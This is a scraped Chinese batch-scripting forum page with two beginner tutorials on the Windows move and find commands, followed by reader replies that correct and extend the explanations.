发表于 2009-6-3 22:37 | 只看该作者
楼主是个好楼主 呵呵
回复 引用

评分 报告 TOP

dong1977
  • 发短消息
  • 加为好友

dong1977 当前离线

UID
13950
帖子
11
精华
0
积分
135
PB
135
技术
0
捐助
0
阅读权限
20
在线时间
14 小时
注册时间
2009-6-3
最后登录
2009-8-5

一级士官

帖子
11
积分
135
技术
0
捐助
0
注册时间
2009-6-3
14楼
发表于 2009-6-4 10:17 | 只看该作者
这篇写的真是不错，写的通俗易懂！
回复 引用

评分 报告 TOP

flyzr
  • 发短消息
  • 加为好友

flyzr 当前离线

UID
12472
帖子
14
精华
0
积分
135
PB
135
技术
0
捐助
0
阅读权限
20
在线时间
17 小时
注册时间
2009-4-29
最后登录
2010-9-16

一级士官

帖子
14
积分
135
技术
0
捐助
0
注册时间
2009-4-29
15楼
发表于 2009-6-4 22:42 | 只看该作者
刪除掉的目錄和文件能不能導入到XX.txt呢??????
回复 引用

评分 报告 TOP

1 2 3 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 20:58, Processed in 0.045319 second(s), 8 queries, Gzip enabled.


11、移动文件（夹）：move

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学]（11）移动文件（夹）：move
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 下一页
返回列表 回复 发帖
namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2009-6-6 16:54 | 只看该作者

[原创] [批处理命令一日一教学]（11）移动文件（夹）：move

[一日一教学]批处理系列帖子索引 http://www.bathome.net/thread-2576-1-1.html

标题：一日一教学系列11_移动文件（夹）：move
首发地址：http://bbs.bathome.net/viewthread.php?tid=4820
首发日期：2009.6.6
更新日期：2009.6.11

上一篇：删除文件夹：rd http://bbs.bathome.net/viewthread.php?tid=3340
下一篇：字符串查找：find http://bbs.bathome.net/viewthread.php?tid=4830

    move，英文含义为“移动”，在批处理中，它可以把文件或文件夹从A处移动到B处。

    很多时候，我看到有人在回复“如何把文件从A处移动到B处”的时候，给出的建议往往是：先用copy命令复制文件，然后用del和rd删除文件和文件夹。回复者根本没有想到，他给出的操作流程太繁琐了，他根本没有意识到，系统已经提供了直接移动文件的命令move！

    move的使用非常简单，基本格式为 move A B。在这里，A表示你想要执行移动操作的文件或文件夹，B表示A被移动后保存的位置，而A可以使用相对路径，也可以使用绝对路径，甚至可以使用通配符，但是，在move执行移动文件的功能的时候，B只能是目录路径，而不能是文件路径——很难想象，你要把a.txt文件移动到b.txt文件里去，操作系统会做何感想。比如：move a.txt d:\test，表示把当前目录下的a.txt移动到d:\test目录下；move c:\test.txt d:\，表示把C盘根目录下的test.txt文件移动到D盘根目录下；move c:\*.txt d:\表示把C盘根目录下的文本文件移动到D盘根目录下。

    另外，需要特别注意的是：move不能跨分区移动文件夹。感谢zqz0012005的提醒。

    上面已经说过，如果你想把a.txt移动到b.txt文件里去，操作系统肯定会很不高兴。

    如果你确实要这么干呢？

    move a.txt b.txt！

    你会发现，对于你的胡缠蛮搞，操作系统也没拦着你，它很顺从地执行了你的命令，但是，结果并没有像你所期望的那样，把a.txt放进b.txt里面去，而是把a.txt改名为b.txt了。

    原来，在 move A B 这样的命令中，move具备移动文件（夹）的基本功能，还兼有重命名文件（夹）的功效，具体起什么作用，视情况决定：

    1、如果A、B同为文件夹名，则把A移动到B目录下；
    2、如果A为文件名，
        ① B为文件夹名的时候，将把A移动到B目录下；
        ② B为文件名的时候，将把A重命名为B；如果B所在的位置为另一目录，则表示在把A移动到B所在的目录下的同时，重命名为B。

    一旦你明白了move的这些用法，重命名文件的时候，你将会很容易在ren和move之间做取舍：如果只是单纯地重命名文件，则ren和move任选其一即可，只是move的写法显得有点怪异而已；如果在要移动文件之后，还要重命名文件，选择 move c:\test.txt d:\abc\1.txt 的写法将一步到位，而先 move c:\test.txt d:\abc 之后，再ren d:\abc\test.txt 1.txt 的写法将显得繁琐，最不可取的做法，是先copy，再del/rd，最后再ren，这是追求代码至精至简的人士所不能容忍的铺张浪费行为。

    有时候，move的过程并不会一帆风顺，比较常见的情形是：目的地有重名文件存在，系统找不到指定的文件。

    先说重名文件的情况。

    如果有重名文件出现，move不会成功，它会很体贴地询问你：改写××吗？（Yes/No/All）：其中，××表示目的地的重名文件。如果选择Yes，将覆盖重名文件；如果选择No，则放弃move操作；如果选择All，则在批量move的时候，如果存在同名文件，将不再询问是否覆盖，而是直接覆盖掉重名文件。

    如果你嫌跳出这个提示信息很麻烦，而你的真正目的是强行覆盖所有的重名文件的话，给move加上个 /Y 的开关，写成 move /y A B就可以了——在cmd 窗口中，默认情况下，move 是带 /-y 开关的，也就是默认会出现重名文件的提示信息，只不过这个默认开关是可以省略的；而在批处理脚本中，move 默认带的是 /y 开关，不会出现重名提示而直接覆盖同名文件，和cmd窗口中的情形正好相反。

    再来看系统找不到指定文件的情况。

    有时候，你会很奇怪，move A B 的时候，A明明是存在的，为什么还要不知趣地提醒你：“系统找不到指定文件”呢？这不是在张口说瞎话么？

    不过，微软也挺无辜的：出错的情形太多了，要我对每一种出错情形都给出明确具体的原因，我哪有那么大的神通呀？我们搞技术的也不容易啊，能提醒你找不到指定文件，我们已经尽力了，您老就多多包涵一下吧。

    得了，我们还是自己动手找原因吧。

    原来，move没有dir的神通，它不能够识别出带隐藏或系统属性的文件，在这些文件面前，它成了瞎子，不过，这不能说move太无能，而是微软为了安全起见，限制了很多危险命令对带有隐藏或系统属性的文件进行直接操作——del、ren都是这副德性；而rd命令，则属于漏网之鱼，是个例外，要不然，微软的系统就不会有打补丁一说了。

    如何解决这一难题呢？

    没办法，只能老老实实地先用attrib命令去掉这些文件的隐藏或系统属性，再来move吧。至于在写批处理的时候，如何判断哪些文件需要先attrib之后再move，哪些文件可以直接move，则不属于本文要讨论的范畴，还请读者关注论坛的其他相关讨论话题。
1

评分人数

    • zxd11097: 请在 ② B为文件名的时候，将把A重命名为B； ...技术 + 1
收藏 分享
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告

随风
  • 发短消息
  • 加为好友

随风 当前离线

UID
7
帖子
1759
精华
3
积分
5360
PB
5024
技术
42
捐助
210
阅读权限
254
在线时间
2362 小时
注册时间
2007-10-26
最后登录
2012-10-19

荣誉版主

帖子
1759
积分
5360
技术
42
捐助
210
注册时间
2007-10-26
2楼
发表于 2009-6-6 17:10 | 只看该作者
惭愧，一直不知道 move 原来也可以移动文件夹。。。。。。
技术问题请到论坛发帖求助！
回复 引用

评分 报告 TOP

BatCoder
  • 发短消息
  • 加为好友

BatCoder 当前离线

UID
14023
帖子
213
精华
0
积分
740
PB
740
技术
0
捐助
0
阅读权限
30
在线时间
131 小时
注册时间
2009-6-5
最后登录
2011-2-28

少尉

帖子
213
积分
740
技术
0
捐助
0
注册时间
2009-6-5
3楼
发表于 2009-6-6 17:32 | 只看该作者
可以跨分区移动文件夹吗？
Do All in Command Line
回复 引用

评分 报告 TOP

zqz0012005
  • 发短消息
  • 加为好友

zqz0012005 (smile)当前离线

假装是个高手

UID
2560
帖子
1069
精华
1
积分
12117
PB
11999
技术
36
捐助
0
阅读权限
254
来自
湖北省黄冈市
在线时间
956 小时
注册时间
2008-5-10
最后登录
2014-7-7

荣誉版主

帖子
1069
积分
12117
技术
36
捐助
0
注册时间
2008-5-10
4楼
发表于 2009-6-6 17:36 | 只看该作者
还要值得注意的一点：
move和fso的MoveFolder方法都不能跨分区移动文件夹。
命令行参考：hh.exe ntcmds.chm::/ntcmds.htm
求助者请拿出诚心，别人才愿意奉献热心！
把查看手册形成条件反射！
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
5楼
发表于 2009-6-6 19:17 | 只看该作者
    之前没注意到move不能跨分区移动文件夹的问题，感谢zqz0012005的提醒，马上更新。
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

zjw767676
  • 发短消息
  • 加为好友

zjw767676 (心境自然)当前离线

UID
7859
帖子
274
精华
0
积分
3596
PB
3596
技术
0
捐助
0
阅读权限
80
来自
江苏常州
在线时间
458 小时
注册时间
2008-12-21
最后登录
2016-3-1

上校

帖子
274
积分
3596
技术
0
捐助
0
注册时间
2008-12-21
6楼
发表于 2009-6-6 20:15 | 只看该作者
如果你嫌跳出这个提示信息很麻烦，而你的真正目的是强行覆盖所有的重名文件的话，给move加上个 /Y 的开关，写成 move /y A B就可以了——默认情况下，move 是带 /-y 开关的，也就是默认会出现重名文件的提示信息，只不过这个默认开关是可以省略的。
在CMD窗口中默认的是带/-y开关，但是在P中默认的是/y开关！
命令行开关 /Y 可以出现在 COPYCMD 环境变量中。这可以用命令行上
的 /-Y 替代。默认值是，除非 MOVE 命令是从一个批脚本内
执行的，改写时都发出提示。

[ 本帖最后由 zjw767676 于 2009-6-6 20:18 编辑 ]
1

评分人数

    • namejm: 感谢指正PB + 2
有一种爱叫放弃
回复 引用

评分 报告 TOP

wangxin016
  • 发短消息
  • 加为好友

wangxin016 当前离线

UID
14287
帖子
9
精华
0
积分
119
PB
119
技术
0
捐助
0
阅读权限
20
在线时间
5 小时
注册时间
2009-6-11
最后登录
2009-11-4

一级士官

帖子
9
积分
119
技术
0
捐助
0
注册时间
2009-6-11
7楼
发表于 2009-6-11 15:35 | 只看该作者
如果我们非要跨分区move文件或文件夹呢？
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前离线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5842 小时
注册时间
2008-6-9
最后登录
2018-6-2

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
8楼
发表于 2009-6-11 20:47 | 只看该作者

回复 7楼 的帖子

先复制，后删除。
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

小勇12
  • 发短消息
  • 加为好友

小勇12 当前离线

UID
2934
帖子
86
精华
0
积分
3008
PB
3002
技术
2
捐助
0
阅读权限
80
来自
重庆
在线时间
330 小时
注册时间
2008-7-4
最后登录
2018-5-7

上校

帖子
86
积分
3008
技术
2
捐助
0
注册时间
2008-7-4
9楼
发表于 2009-6-11 22:59 | 只看该作者
的确，惭愧呀，原来以为文件夹的copy得由自己写呢
回复 引用

评分 报告 TOP

kingyueyang
  • 发短消息
  • 加为好友

kingyueyang 当前离线

UID
14492
帖子
2
精华
0
积分
104
PB
104
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2009-6-17
最后登录
2009-6-17

一级士官

帖子
2
积分
104
技术
0
捐助
0
注册时间
2009-6-17
10楼
发表于 2009-6-17 00:43 | 只看该作者
我也没有注意不能跨区的问题。copy+deltree了
回复 引用

评分 报告 TOP

bleach1025
  • 发短消息
  • 加为好友

bleach1025 当前离线

UID
14566
帖子
2
精华
0
积分
104
PB
104
技术
0
捐助
0
阅读权限
20
在线时间
4 小时
注册时间
2009-6-18
最后登录
2017-11-21

一级士官

帖子
2
积分
104
技术
0
捐助
0
注册时间
2009-6-18
11楼
发表于 2009-6-18 17:23 | 只看该作者
问下什么叫跨分区？麻烦高手解答下~~
我是新人~~呵呵 先行谢谢了
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
12楼
发表于 2009-6-18 17:27 | 只看该作者
    跨分区移动文件夹的一个例子：把C盘的文件夹移动到D盘。
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

zha0gang
  • 发短消息
  • 加为好友

zha0gang 当前离线

UID
17533
帖子
5
精华
0
积分
117
PB
117
技术
0
捐助
0
阅读权限
20
在线时间
2 小时
注册时间
2009-9-16
最后登录
2012-1-15

一级士官

帖子
5
积分
117
技术
0
捐助
0
注册时间
2009-9-16
13楼
发表于 2009-9-16 20:07 | 只看该作者

move 文件夹的时候, 不支持 通配符

move 文件夹的时候, 不支持 通配符
回复 引用

评分 报告 TOP

zhouyao17
  • 发短消息
  • 加为好友

zhouyao17 当前离线

UID
19939
帖子
6
精华
0
积分
112
PB
112
技术
0
捐助
0
阅读权限
20
在线时间
8 小时
注册时间
2009-11-23
最后登录
2010-1-1

一级士官

帖子
6
积分
112
技术
0
捐助
0
注册时间
2009-11-23
14楼
发表于 2009-12-9 04:01 | 只看该作者

看得很明白！

LZ表达水平很高！看你的讲解更容易明白！

我是新人，顺带问个问题：假设我copy或move一个文件。我怕出错，所以我想把目的文件的属性打开看下修改日期也用dir么？
貌似我试了但没看到它打开。为什么？ 正确的该怎么用？
人和人是有差距的。不懂就是不懂，懂就是懂
回复 引用

评分 报告 TOP

caimingbing
  • 发短消息
  • 加为好友

caimingbing 当前离线

UID
20532
帖子
66
精华
0
积分
252
PB
252
技术
0
捐助
0
阅读权限
20
在线时间
18 小时
注册时间
2009-12-5
最后登录
2012-6-5

四级士官

帖子
66
积分
252
技术
0
捐助
0
注册时间
2009-12-5
15楼
发表于 2009-12-10 17:35 | 只看该作者
俺看看，学习一下，你们真强大
回复 引用

评分 报告 TOP

1 2 3 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 20:59, Processed in 0.040926 second(s), 8 queries, Gzip enabled.


12、字符串查找：find

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学]（12）字符串查找：find
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 下一页
返回列表 回复 发帖
namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2009-6-7 02:11 | 只看该作者

[原创] [批处理命令一日一教学]（12）字符串查找：find

[一日一教学]批处理系列帖子索引 http://www.bathome.net/thread-2576-1-1.html

标题：一日一教学系列12_字符串查找：find
首发地址：http://bbs.bathome.net/viewthread.php?tid=4830
首发日期：2009.6.7
更新日期：无

上一篇：移动文件（夹）：move http://bbs.bathome.net/viewthread.php?tid=4820
下一篇：待续

    当我要查找字符串的时候，第一个想到的命令，并不是我在本文中要讲解的find，而是比它更强悍的命令findstr。

    我对findstr是如此的依赖，以至于当我向各位讲解find命令的时候，我还得老老实实地在cmd窗口中敲下 find /? 这条命令，然后重重地按下回车键。

    find /? 的执行结果很快，唰的一下，帮助信息全出来了，与findstr命令10多个开关比起来，find仅有5个开关，算得上小巫见大巫了。

    find命令的基本格式是这样的：find "要查找的字符串" 要查找的文件，在这里，"要查找的字符串"这个内容是必不可少的，引号也是必须的。例如：find "bathome" d:\test.txt，表示在D盘根目录下的文本文件test.txt中查找含有 bathome 这一字符串的所有行。

    find的结果将会有两种情况：

    1、当文件中包含要查找的字符串时，将返回这个字符串所在位置的整行内容，具体格式为：第一行是"---------- ×××" （×××表示被查找的文件名，不包括引号对），第二行开始才出现包含字符串的整行内容；
    2、当文件中没有出现要查找的字符串时，find的结果仅仅返回"---------- ×××" 这一行内容（×××表示被查找的文件名，不包括引号对）。

    在查找指定字符串的时候，有的场合需要区分大小写，有的场合则对大小写并不在意，如何实现这些需求呢？

    很简单，在find的时候，添加或取消/i开关就是了，具体用法为：find /i "Abc" test.txt 表示不区分大小写，文本内容中含有 Abc、abc、ABC之类的都算；find "Abc" test.txt则严格区分字符大小写，只能匹配Abc，而不能匹配abc、ABC之类的字符。

    有时候，我们的需求并不是为了查找到某个字符串，而是要检测哪些行不含有特定的字符串，这个时候，可以使用开关/v，用法为：find /v "Abc" test.txt，它表示查找那些不含字符串Abc的行（Abc要区分大小写），如果不区分abc的大小写，那么，应该写成 find /i /v "Abc" test.txt。

    有时候，我们的要求很简单，仅仅只是想统计包含某个字符串的行总共有多少，这个时候，应该使用开关/c，写成 find /c "abc" test.txt。

    如果要在每行的行首显示行号，怎么办？那就写成 find /n "abc" test.txt 吧，它会把test.txt的内容都显示出来，与原文不一样的是，在每行内容的行首，都加上了行号——注意，它仅仅是在显示的时候加上行号而已，并没有真正改写文件的内容。

    如果你看到这样的命令：find /i /v /n "Abc" test.txt，请一点要先沉住气，不要被众多的开关弄得眼花缭乱吓趴下了，仔细对照上面的解释，相信你很快就会理解它的功能：在test.txt文件中，查找不包含字符串Abc的所有行，并在行首标上这些行的行号，查找的时候，字符串Abc不区分大小写。

    要是使用这样的语句：find /c /n "abc" test.txt，会出现什么样的结果呢？答案是：开关/n会被忽略掉，最终结果不会显示带行号的行内容，只会显示匹配的总行数而已。

    echo abcdef|find "abc"，见过这种写法吗？它的含义是：在字符串abcdef中，检测是否存在字符串abc，也就是说，find支持管道符号，把管道符号之前的语句的执行结果，作为指定字符串的查找对象，甚至，你可以使用这样的语句：find "abc" test.txt|find "xyz"，它表示在test.txt中查找同时存在字符串abc和字符串xyz的行，只要你愿意，你可以继续用管道符号把这个find语句连接下去，我们把这个过程称为多重过滤。

    在前面，我们说过，在 find "要查找的字符串" 要查找的文件 这条命令语句中，引号是必须的，要是我们要查找的内容就是双引号本身，那又该怎么办？

    答案很简单：把双引号本身先用双引号转义，再放到双引号对中，写成 find """" test.txt 的格式，如果要查找两个连续的双引号，则应该写成 find """""" test.txt。

    如果你想查找两行之间的字符块，我劝你趁早放弃这个疯狂的想法，因为，find仅仅针对位于同一行上的字符串，不能查找跨行的字符块。

    与findstr命令相比，find的功能确实有限得多，仅仅因为不支持正则表达式这一点，就有不少人把它视为鸡肋，从而遭到无情的抛弃。

    然而，find并非一无是处，凭借自己的独门绝技，在与findstr的竞争中，它挣得了一席之地。

    这些独门绝技是什么呢？（感谢BatCoder的提醒和zqz0012005的补充）

    1、统计含指定字符串的总行数。find /c "abc" test.txt可以统计test.txt中含有字符串abc的总行数，而findstr则没有直接提供该功能，需要配合for语句才能实现；
    2、find可以读取Unicode格式的文本，而findstr则不行；
    3、find可以过滤某些特殊字符，而findstr则不行，比如，我们在使用fsutil fsinfo drives语句查询磁盘分区的时候，如果想让盘符分行显示而不是显示在同一行上的时候（这在用for语句提取盘符的时候很有用），find可以大显身手，而findstr只能干瞪眼了，具体语句为：
  1. fsutil fsinfo drives|find /v ""
复制代码
1

评分人数

    • wwjpl: 好贴支持PB + 3
收藏 分享
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告

tireless
  • 发短消息
  • 加为好友

tireless 当前离线

UID
5967
帖子
381
精华
0
积分
1798
PB
1774
技术
8
捐助
0
阅读权限
60
在线时间
926 小时
注册时间
2008-10-27
最后登录
2009-9-15

少校

帖子
381
积分
1798
技术
8
捐助
0
注册时间
2008-10-27
2楼
发表于 2009-6-7 04:04 | 只看该作者
find 的参数不可以合并(如 /in)，挨在一起也不可以(如 /i/n)。

find 支持查找通配符文件。如 find "1" *.txt
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
3楼
发表于 2009-6-7 08:41 | 只看该作者
    呀，果真如此，第一点受findstr的影响，不做测试就写出来了，罪过罪过；第二点受微软自带帮助信息的误导，同样做作测试——唉，微软也太不厚道了，翻译过来语句不通也就罢了，竟然把意思都翻译错。赶紧修正^_^。
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

zqz0012005
  • 发短消息
  • 加为好友

zqz0012005 (smile)当前离线

假装是个高手

UID
2560
帖子
1069
精华
1
积分
12117
PB
11999
技术
36
捐助
0
阅读权限
254
来自
湖北省黄冈市
在线时间
956 小时
注册时间
2008-5-10
最后登录
2014-7-7

荣誉版主

帖子
1069
积分
12117
技术
36
捐助
0
注册时间
2008-5-10
4楼
发表于 2009-6-7 12:08 | 只看该作者
find '"' test.txt

XP上出现：FIND: 参数格式不正确

应该把一个引号变成一对：
find """" test.txt
命令行参考：hh.exe ntcmds.chm::/ntcmds.htm
求助者请拿出诚心，别人才愿意奉献热心！
把查看手册形成条件反射！
回复 引用

评分 报告 TOP

curious
  • 发短消息
  • 加为好友

curious 当前离线

UID
12015
帖子
19
精华
0
积分
157
PB
157
技术
0
捐助
0
阅读权限
20
在线时间
42 小时
注册时间
2009-4-20
最后登录
2009-10-25

二级士官

帖子
19
积分
157
技术
0
捐助
0
注册时间
2009-4-20
5楼
发表于 2009-6-7 12:17 | 只看该作者

总结一下，原文太长，但要点只有六个

1、find /v "Abc" test.txt 它表示查找那些不含字符串Abc的行
2、find /c "abc" test.txt 统计包含“abc”字符串的行数
3、find /i "Abc" test.txt 表示不区分大小写查找abc的行
4、find /c /n "abc" test.txt 开关/n会被忽略掉，最终结果不会显示带行号的行内容，只会显示匹配的总行数而已。
5、find "abc" test.txt|find "xyz"，它表示在test.txt中查找同时存在字符串abc和字符串xyz的行，只要你愿意，你可以继续用管道符号把这个find语句连接下去，我们把这个过程称为多重过滤。
6、find """" test.txt 把一对双引号放在双引号对中（共2对），要查找的内容是双引号本身

[ 本帖最后由 curious 于 2009-6-7 12:30 编辑 ]
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
6楼
发表于 2009-6-7 16:34 | 只看该作者
    find命令没有findstr用得熟练，临时抱佛脚写了一篇，竟然出现了多处错误，惭愧惭愧。当然，也怪自己粗心大意，没有对全部用法做实际测试，想当然地得出了一些错误的结论，真是误人子弟啊。以后得更加谨慎，在得出结论之前，一定实地测试一番，哪怕是最简单的情形也不放过。
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

BatCoder
  • 发短消息
  • 加为好友

BatCoder 当前离线

UID
14023
帖子
213
精华
0
积分
740
PB
740
技术
0
捐助
0
阅读权限
30
在线时间
131 小时
注册时间
2009-6-5
最后登录
2011-2-28

少尉

帖子
213
积分
740
技术
0
捐助
0
注册时间
2009-6-5
7楼
发表于 2009-6-7 19:34 | 只看该作者
既然findstr比find更强大，我们为什么还要学find呢，只学findstr不就行了吗？
find跟findstr相比，难道一点自己的优势都没有？
Do All in Command Line
回复 引用

评分 报告 TOP

zqz0012005
  • 发短消息
  • 加为好友

zqz0012005 (smile)当前离线

假装是个高手

UID
2560
帖子
1069
精华
1
积分
12117
PB
11999
技术
36
捐助
0
阅读权限
254
来自
湖北省黄冈市
在线时间
956 小时
注册时间
2008-5-10
最后登录
2014-7-7

荣誉版主

帖子
1069
积分
12117
技术
36
捐助
0
注册时间
2008-5-10
8楼
发表于 2009-6-7 19:52 | 只看该作者

回复 7楼 的帖子

1、find可以识别unicode格式文本，findstr不行。
2、find可以过滤某些特殊字符，比如
  1. fsutil fsinfo drives|find /v ""
复制代码
3、find可以直接显示包含待查找字符的行数，而findstr只能在前面加行号。
4、find.exe比findstr.exe体积小^_^
5、应该有效率上的不同（未具体测试，感兴趣者可以试下）。
命令行参考：hh.exe ntcmds.chm::/ntcmds.htm
求助者请拿出诚心，别人才愿意奉献热心！
把查看手册形成条件反射！
回复 引用

评分 报告 TOP

zqz0012005
  • 发短消息
  • 加为好友

zqz0012005 (smile)当前离线

假装是个高手

UID
2560
帖子
1069
精华
1
积分
12117
PB
11999
技术
36
捐助
0
阅读权限
254
来自
湖北省黄冈市
在线时间
956 小时
注册时间
2008-5-10
最后登录
2014-7-7

荣誉版主

帖子
1069
积分
12117
技术
36
捐助
0
注册时间
2008-5-10
9楼
发表于 2009-6-7 20:43 | 只看该作者
如果要查找的双引号不是一个，而是两个、三个或更多，findstr就彻底歇菜了

jm又忘了转义字符\了。
命令行参考：hh.exe ntcmds.chm::/ntcmds.htm
求助者请拿出诚心，别人才愿意奉献热心！
把查看手册形成条件反射！
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
10楼
发表于 2009-6-7 20:45 | 只看该作者
    哈哈，总是丢三落四的，错误不断啊。
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

keen
  • 发短消息
  • 加为好友

keen 当前离线

UID
3588
帖子
593
精华
0
积分
4452
PB
4449
技术
1
捐助
0
阅读权限
254
在线时间
448 小时
注册时间
2008-8-10
最后登录
2010-2-8

荣誉版主

帖子
593
积分
4452
技术
1
捐助
0
注册时间
2008-8-10
11楼
发表于 2009-6-8 20:23 | 只看该作者
例如：find "bathome" d:\test.txt，表示在D盘根目录下查找含有 bathome 这一字符串的所有行。

这一句，是笔误，还是什么，我没看明白
1

评分人数

    • namejm: 感谢提醒PB + 2
(*^_^*)
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

